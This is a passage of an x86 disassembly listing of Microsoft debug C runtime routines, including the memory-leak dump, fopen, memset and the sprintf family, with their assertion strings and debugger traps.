mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx push offset aHsD ; "%hs(%d) : " push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 1Ch cmp eax, 1 jnz short loc_41693C int 3 ; Trap to Debugger loc_41693C: ; CODE XREF: sub_416810+129j xor eax, eax test eax, eax jnz short loc_416913 loc_416942: ; CODE XREF: sub_416810+C0j ; sub_416810+101j ... mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx push offset aLd ; "{%ld} " push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_416964 int 3 ; Trap to Debugger loc_416964: ; CODE XREF: sub_416810+151j xor eax, eax test eax, eax jnz short loc_416942 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_4169EC loc_41697B: ; CODE XREF: sub_416810+1A7j mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_4169B3 int 3 ; Trap to Debugger loc_4169B3: ; CODE XREF: sub_416810+1A0j xor edx, edx test edx, edx jnz short loc_41697B cmp dword_4DC7D4, 0 jz short loc_4169DB mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] add edx, 20h push edx call dword_4DC7D4 add esp, 8 jmp short loc_4169E7 ; --------------------------------------------------------------------------- loc_4169DB: ; CODE XREF: sub_416810+1B0j mov eax, [ebp+var_4] push eax call sub_416AD0 add esp, 4 loc_4169E7: ; CODE XREF: sub_416810+1C9j jmp loc_416A8D ; --------------------------------------------------------------------------- loc_4169EC: ; CODE XREF: sub_416810+169j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jnz short loc_416A32 loc_4169F5: ; CODE XREF: sub_416810+212j mov edx, [ebp+var_4] mov eax, [edx+10h] push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 1Ch cmp eax, 1 jnz short loc_416A1E int 3 ; Trap to Debugger loc_416A1E: ; CODE XREF: sub_416810+20Bj xor edx, edx test edx, edx jnz short loc_4169F5 mov eax, [ebp+var_4] push eax call sub_416AD0 add esp, 4 jmp short loc_416A8D ; --------------------------------------------------------------------------- loc_416A32: ; CODE XREF: sub_416810+1E3j mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jnz short loc_416A8D loc_416A43: ; CODE XREF: sub_416810+26Fj mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_416A7B int 3 ; Trap to Debugger loc_416A7B: ; CODE XREF: sub_416810+268j xor edx, edx test edx, edx jnz short loc_416A43 mov eax, [ebp+var_4] push eax call sub_416AD0 add esp, 4 loc_416A8D: ; CODE XREF: sub_416810:loc_4168C4j ; sub_416810:loc_4169E7j ... jmp loc_416868 ; --------------------------------------------------------------------------- loc_416A92: ; CODE XREF: sub_416810+64j ; sub_416810+70j push 9 call sub_41B820 add esp, 4 loc_416A9C: ; CODE XREF: sub_416810+2B0j push offset aObjectDumpComp ; "Object dump complete.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_416ABC int 3 ; Trap to Debugger loc_416ABC: ; CODE XREF: sub_416810+2A9j xor ecx, ecx test ecx, ecx jnz short loc_416A9C pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AD0 proc near ; CODE XREF: sub_416810+1CFp ; sub_416810+218p ... var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_34 = byte ptr -34h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov [ebp+var_4C], 0 jmp short loc_416AEB ; --------------------------------------------------------------------------- loc_416AE2: ; CODE XREF: sub_416AD0+D7j mov eax, [ebp+var_4C] add eax, 1 mov [ebp+var_4C], eax loc_416AEB: ; CODE XREF: sub_416AD0+10j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 10h jge short loc_416AFF mov edx, [ebp+arg_0] mov eax, [edx+10h] mov [ebp+var_54], eax jmp short loc_416B06 ; --------------------------------------------------------------------------- loc_416AFF: ; CODE XREF: sub_416AD0+22j mov [ebp+var_54], 10h loc_416B06: ; CODE XREF: sub_416AD0+2Dj mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_54] jge loc_416BAC mov edx, [ebp+arg_0] add edx, [ebp+var_4C] mov al, [edx+20h] mov byte ptr [ebp+var_50], al cmp dword_443B70, 1 jle short loc_416B43 push 157h mov ecx, [ebp+var_50] and ecx, 0FFh push ecx call sub_41DA90 add esp, 8 mov [ebp+var_58], eax jmp short loc_416B60 ; --------------------------------------------------------------------------- loc_416B43: ; CODE XREF: sub_416AD0+55j mov edx, [ebp+var_50] and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 157h mov [ebp+var_58], ecx loc_416B60: ; CODE XREF: sub_416AD0+71j cmp [ebp+var_58], 0 jz short loc_416B74 mov edx, [ebp+var_50] and edx, 0FFh mov [ebp+var_5C], edx jmp short loc_416B7B ; --------------------------------------------------------------------------- loc_416B74: ; CODE XREF: sub_416AD0+94j mov [ebp+var_5C], 20h loc_416B7B: ; CODE XREF: sub_416AD0+A2j mov eax, [ebp+var_4C] mov cl, byte ptr [ebp+var_5C] mov [ebp+eax+var_48], cl mov edx, [ebp+var_50] and edx, 0FFh push edx push offset a_2x ; "%.2X " mov eax, [ebp+var_4C] imul eax, 3 lea ecx, [ebp+eax+var_34] push ecx call sub_4171D0 add esp, 0Ch jmp loc_416AE2 ; --------------------------------------------------------------------------- loc_416BAC: ; CODE XREF: sub_416AD0+3Cj mov edx, [ebp+var_4C] mov [ebp+edx+var_48], 0 loc_416BB4: ; CODE XREF: sub_416AD0+10Bj lea eax, [ebp+var_34] push eax lea ecx, [ebp+var_48] push ecx push offset aDataSS ; " Data: <%s> %s\n" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 1Ch cmp eax, 1 jnz short loc_416BD7 int 3 ; Trap to Debugger loc_416BD7: ; CODE XREF: sub_416AD0+104j xor edx, edx test edx, edx jnz short loc_416BB4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416AD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BF0 proc near ; CODE XREF: sub_4179C0+B9p var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi lea eax, [ebp+var_34] push eax call sub_416570 add esp, 4 cmp [ebp+var_20], 0 jnz short loc_416C24 cmp [ebp+var_2C], 0 jnz short loc_416C24 mov ecx, dword_443890 and ecx, 10h test ecx, ecx jz short loc_416C5B cmp [ebp+var_28], 0 jz short loc_416C5B loc_416C24: ; CODE XREF: sub_416BF0+19j ; sub_416BF0+1Fj ... push offset aDetectedMemory ; "Detected memory leaks!\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_416C44 int 3 ; Trap to Debugger loc_416C44: ; CODE XREF: sub_416BF0+51j xor edx, edx test edx, edx jnz short loc_416C24 push 0 call sub_416810 add esp, 4 mov eax, 1 jmp short loc_416C5D ; --------------------------------------------------------------------------- loc_416C5B: ; CODE XREF: sub_416BF0+2Cj ; sub_416BF0+32j xor eax, eax loc_416C5D: ; CODE XREF: sub_416BF0+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416BF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi cmp dword ptr [ebp+8], 0 jnz short loc_416C82 jmp loc_416D2E ; --------------------------------------------------------------------------- loc_416C82: ; CODE XREF: ___:00416C7Bj mov dword ptr [ebp-4], 0 jmp short loc_416C94 ; --------------------------------------------------------------------------- loc_416C8B: ; CODE XREF: ___:00416CDCj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_416C94: ; CODE XREF: ___:00416C89j cmp dword ptr [ebp-4], 5 jge short loc_416CDE loc_416C9A: ; CODE XREF: ___:00416CDAj mov ecx, [ebp-4] mov edx, off_4438A0[ecx*4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+18h] push edx push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_416CD6 int 3 ; Trap to Debugger loc_416CD6: ; CODE XREF: ___:00416CD3j xor eax, eax test eax, eax jnz short loc_416C9A jmp short loc_416C8B ; --------------------------------------------------------------------------- loc_416CDE: ; CODE XREF: ___:00416C98j ; ___:00416D04j mov ecx, [ebp+8] mov edx, [ecx+2Ch] push edx push offset aLargestNumberU ; "Largest number used: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_416D00 int 3 ; Trap to Debugger loc_416D00: ; CODE XREF: ___:00416CFDj xor eax, eax test eax, eax jnz short loc_416CDE loc_416D06: ; CODE XREF: ___:00416D2Cj mov ecx, [ebp+8] mov edx, [ecx+30h] push edx push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_416D28 int 3 ; Trap to Debugger loc_416D28: ; CODE XREF: ___:00416D25j xor eax, eax test eax, eax jnz short loc_416D06 loc_416D2E: ; CODE XREF: ___:00416C7Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D40 proc near ; CODE XREF: sub_4010AB+45p ; ___:0040D8ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_418E90 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_416D80 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_418F00 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_416D40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D80 proc near ; CODE XREF: sub_416D40+20p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_416DA9 xor eax, eax jmp loc_416F4B ; --------------------------------------------------------------------------- loc_416DA9: ; CODE XREF: sub_416D80+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_416DC4 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_416DCB ; --------------------------------------------------------------------------- loc_416DC4: ; CODE XREF: sub_416D80+37j mov [ebp+var_1C], 1000h loc_416DCB: ; CODE XREF: sub_416D80+42j ; sub_416D80:loc_416F43j cmp [ebp+var_C], 0 jz loc_416F48 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 10Ch test edx, edx jz short loc_416E59 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_416E59 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_416E01 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_416E0A ; --------------------------------------------------------------------------- loc_416E01: ; CODE XREF: sub_416D80+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_416E0A: ; CODE XREF: sub_416D80+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+arg_C] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_4187B0 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_416F43 ; --------------------------------------------------------------------------- loc_416E59: ; CODE XREF: sub_416D80+63j ; sub_416D80+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_416EFE cmp [ebp+var_1C], 0 jz short loc_416E7D mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_416E83 ; --------------------------------------------------------------------------- loc_416E7D: ; CODE XREF: sub_416D80+E9j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_416E83: ; CODE XREF: sub_416D80+FBj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_41DD40 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_416EC8 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_416F4B ; --------------------------------------------------------------------------- loc_416EC8: ; CODE XREF: sub_416D80+127j cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_416EEA mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_416F4B ; --------------------------------------------------------------------------- loc_416EEA: ; CODE XREF: sub_416D80+14Cj mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx jmp short loc_416F43 ; --------------------------------------------------------------------------- loc_416EFE: ; CODE XREF: sub_416D80+DFj mov eax, [ebp+arg_C] push eax call sub_41DB50 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_416F20 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_416F4B ; --------------------------------------------------------------------------- loc_416F20: ; CODE XREF: sub_416D80+191j mov ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_4] mov [ecx], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax loc_416F43: ; CODE XREF: sub_416D80+D4j ; sub_416D80+17Cj jmp loc_416DCB ; --------------------------------------------------------------------------- loc_416F48: ; CODE XREF: sub_416D80+4Fj mov eax, [ebp+arg_8] loc_416F4B: ; CODE XREF: sub_416D80+24j ; sub_416D80+143j ... mov esp, ebp pop ebp retn sub_416D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F50 proc near ; CODE XREF: sub_417050+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_416F59: ; CODE XREF: sub_416F50+31j cmp [ebp+arg_0], 0 jnz short loc_416F7D push offset aFileNull ; "file != NULL" push 0 push 35h push offset aFopen_c ; "fopen.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_416F7D int 3 ; Trap to Debugger loc_416F7D: ; CODE XREF: sub_416F50+Dj ; sub_416F50+2Aj xor eax, eax test eax, eax jnz short loc_416F59 loc_416F83: ; CODE XREF: sub_416F50+5Fj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_416FAB push offset aFile_t0 ; "*file != _T('\\0')" push 0 push 36h push offset aFopen_c ; "fopen.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_416FAB int 3 ; Trap to Debugger loc_416FAB: ; CODE XREF: sub_416F50+3Bj ; sub_416F50+58j xor eax, eax test eax, eax jnz short loc_416F83 loc_416FB1: ; CODE XREF: sub_416F50+89j cmp [ebp+arg_4], 0 jnz short loc_416FD5 push offset aModeNull ; "mode != NULL" push 0 push 37h push offset aFopen_c ; "fopen.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_416FD5 int 3 ; Trap to Debugger loc_416FD5: ; CODE XREF: sub_416F50+65j ; sub_416F50+82j xor ecx, ecx test ecx, ecx jnz short loc_416FB1 loc_416FDB: ; CODE XREF: sub_416F50+B7j mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_417003 push offset aMode_t0 ; "*mode != _T('\\0')" push 0 push 38h push offset aFopen_c ; "fopen.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_417003 int 3 ; Trap to Debugger loc_417003: ; CODE XREF: sub_416F50+93j ; sub_416F50+B0j xor ecx, ecx test ecx, ecx jnz short loc_416FDB call sub_41E5B0 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41701B xor eax, eax jmp short loc_417045 ; --------------------------------------------------------------------------- loc_41701B: ; CODE XREF: sub_416F50+C5j mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41E220 add esp, 10h mov [ebp+var_8], eax mov eax, [ebp+var_4] push eax call sub_418F00 add esp, 4 mov eax, [ebp+var_8] loc_417045: ; CODE XREF: sub_416F50+C9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416F50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417050 proc near ; CODE XREF: sub_4010AB+18p ; sub_403038+29F0p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 40h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_416F50 add esp, 0Ch pop ebp retn sub_417050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417070 proc near ; CODE XREF: ___:0040120Ap ; ___:00401218p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4170C3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4170B7 neg ecx and ecx, 3 jz short loc_417099 sub edx, ecx loc_417093: ; CODE XREF: sub_417070+27j mov [edi], al inc edi dec ecx jnz short loc_417093 loc_417099: ; CODE XREF: sub_417070+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4170B7 rep stosd test edx, edx jz short loc_4170BD loc_4170B7: ; CODE XREF: sub_417070+18j ; sub_417070+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4170B7 loc_4170BD: ; CODE XREF: sub_417070+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4170C3: ; CODE XREF: sub_417070+Aj mov eax, [esp+arg_0] retn sub_417070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170D0 proc near ; CODE XREF: sub_4013FF+1Cp ; sub_4105CB+19p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax loc_4170DF: ; CODE XREF: sub_4170D0+37j cmp [ebp+arg_0], 0 jnz short loc_417103 push offset aStringNull ; "string != NULL" push 0 push 5Ah push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_417103 int 3 ; Trap to Debugger loc_417103: ; CODE XREF: sub_4170D0+13j ; sub_4170D0+30j xor ecx, ecx test ecx, ecx jnz short loc_4170DF loc_417109: ; CODE XREF: sub_4170D0+61j cmp [ebp+arg_8], 0 jnz short loc_41712D push offset aFormatNull ; "format != NULL" push 0 push 5Bh push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41712D int 3 ; Trap to Debugger loc_41712D: ; CODE XREF: sub_4170D0+3Dj ; sub_4170D0+5Aj xor edx, edx test edx, edx jnz short loc_417109 mov eax, [ebp+var_24] mov dword ptr [eax+0Ch], 42h mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx+8], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_24] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_24] push eax call sub_41E9B0 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_4171A8 mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_2C], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_4171B9 ; --------------------------------------------------------------------------- loc_4171A8: ; CODE XREF: sub_4170D0+B4j mov edx, [ebp+var_24] push edx push 0 call sub_41E730 add esp, 8 mov [ebp+var_2C], eax loc_4171B9: ; CODE XREF: sub_4170D0+D6j mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4170D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171D0 proc near ; CODE XREF: sub_401445+5Ep ; sub_40219C+2Ep ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_4171E5: ; CODE XREF: sub_4171D0+3Dj cmp [ebp+arg_0], 0 jnz short loc_417209 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_417209 int 3 ; Trap to Debugger loc_417209: ; CODE XREF: sub_4171D0+19j ; sub_4171D0+36j xor edx, edx test edx, edx jnz short loc_4171E5 loc_41720F: ; CODE XREF: sub_4171D0+67j cmp [ebp+arg_4], 0 jnz short loc_417233 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_417233 int 3 ; Trap to Debugger loc_417233: ; CODE XREF: sub_4171D0+43j ; sub_4171D0+60j xor eax, eax test eax, eax jnz short loc_41720F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov dword ptr [eax+4], 7FFFFFFFh mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_24] push eax call sub_41E9B0 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_4172AF mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_30], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_4172C0 ; --------------------------------------------------------------------------- loc_4172AF: ; CODE XREF: sub_4171D0+BBj mov edx, [ebp+var_24] push edx push 0 call sub_41E730 add esp, 8 mov [ebp+var_30], eax loc_4172C0: ; CODE XREF: sub_4171D0+DDj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4171D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172D0 proc near ; CODE XREF: sub_401445+42p ; ___:004028A9p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_C] mov [ebp+var_2C], ecx loc_4172E5: ; CODE XREF: sub_4172D0+3Dj cmp [ebp+arg_0], 0 jnz short loc_417309 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_417309 int 3 ; Trap to Debugger loc_417309: ; CODE XREF: sub_4172D0+19j ; sub_4172D0+36j xor edx, edx test edx, edx jnz short loc_4172E5 loc_41730F: ; CODE XREF: sub_4172D0+67j cmp [ebp+arg_8], 0 jnz short loc_417333 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_417333 int 3 ; Trap to Debugger loc_417333: ; CODE XREF: sub_4172D0+43j ; sub_4172D0+60j xor eax, eax test eax, eax jnz short loc_41730F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_24] push ecx call sub_41E9B0 add esp, 0Ch mov [ebp+var_28], eax mov edx, [ebp+var_24] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_24] cmp dword ptr [edx+4], 0 jl short loc_4173AE mov eax, [ebp+var_24] mov ecx, [eax] mov byte ptr [ecx], 0 xor edx, edx and edx, 0FFh mov [ebp+var_30], edx mov eax, [ebp+var_24] mov ecx, [eax] add ecx, 1 mov edx, [ebp+var_24] mov [edx], ecx jmp short loc_4173BF ; --------------------------------------------------------------------------- loc_4173AE: ; CODE XREF: sub_4172D0+BAj mov eax, [ebp+var_24] push eax push 0 call sub_41E730 add esp, 8 mov [ebp+var_30], eax loc_4173BF: ; CODE XREF: sub_4172D0+DCj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4172D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4173D0 proc near ; CODE XREF: sub_4174D0+7p ; sub_428F10+271p ... var_14 = dword ptr -14h var_10 